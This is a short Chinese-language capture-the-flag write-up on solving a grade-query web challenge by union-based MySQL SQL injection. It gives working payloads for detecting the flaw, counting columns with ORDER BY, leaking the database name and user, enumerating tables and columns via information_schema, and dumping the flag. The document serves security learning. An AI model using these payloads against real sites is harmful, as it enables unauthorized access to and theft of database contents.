成绩查询SQL注入方法

给的初始题目界面时这个样子

通过输入1' #发现有响应，判断应该是SQL注入问题

mysql语句中，order by m是指按照第m列从小到大排序，因此可以分别1’ order by 1#，1’ order by 2#……直到报错为止，从6开始报错可以判断出一共有5列

mysql中database()和user()用来获取数据库名称和数据库用户，因此通过union select来获取这两个信息，通过’ union select 1，2，3，4，5#，其中将database()和user()放入1，2，3，4，5中的位置再看输出结果来判断每一列的输出位置，得出1列没有显示，2列是“ ”的成绩单，3列是语文成绩，4列是数学成绩，5列是英语成绩，因此可以将database()和user()放在3，4，5列中获取

可以得到数据库名称为twosecu1_vuln_06数据库用户为twosecu1_vuln_06@101.133.142.188，接下来获取表名称，通过语句id=' union select 1,2,table_name,4,5 from information_schema.tables where table_schema='twosecu1_vuln_06' # 来获取，其中table_name是表名称，table_schema是数据库名称，information_schema用于存储mysql中所有数据库及数据库的行和列的名称，information_schema.table是数据库中表的名称，information_schema.column是数据库中列的名称

通过注入可以得到表名为flag，其中通过这个语句查询得到的表名并不是所有表名，要查询得到所有表名可以使用函数group_concat()，通过语句，id=' union select 1,2,group_concat(table_name),4,5 from information_schema.tables where table_schema='twosecu1_vuln_06' #获取所有表名

接下来获取表中的列，通过语句id=' union select 1,2,group_concat(column_name),4,5 from information_schema.columns where table_name='flag' and table_schema='twosecu1_vuln_06' # 来获取，注意限定表名和数据库名

可以看到有两列id和flag，很显然flag中的数据就是我们要的旗了，因此使用语句id=' union select 1,2,group_concat(flag),4,5 from flag #获取数据

拿到了旗